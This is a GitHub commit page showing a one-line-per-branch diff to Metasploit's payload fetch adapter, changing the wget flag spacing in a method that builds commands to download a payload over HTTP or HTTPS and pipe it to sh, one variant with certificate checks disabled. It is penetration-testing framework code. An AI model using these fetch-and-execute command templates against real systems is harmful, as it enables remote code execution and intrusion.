We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 2459fa7 commit 6b220baCopy full SHA for 6b220ba
lib/msf/core/payload/adapter/fetch.rb
@@ -400,9 +400,9 @@ def _generate_wget_command
400
def _generate_wget_pipe
401
case fetch_protocol
402
when 'HTTPS'
403
- return "wget --no-check-certificate -qO - https://#{_download_pipe}|sh"
+ return "wget --no-check-certificate -qO- https://#{_download_pipe}|sh"
404
when 'HTTP'
405
- return "wget -qO - http://#{_download_pipe}|sh"
+ return "wget -qO- http://#{_download_pipe}|sh"
406
else
407
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
408
end
0 commit comments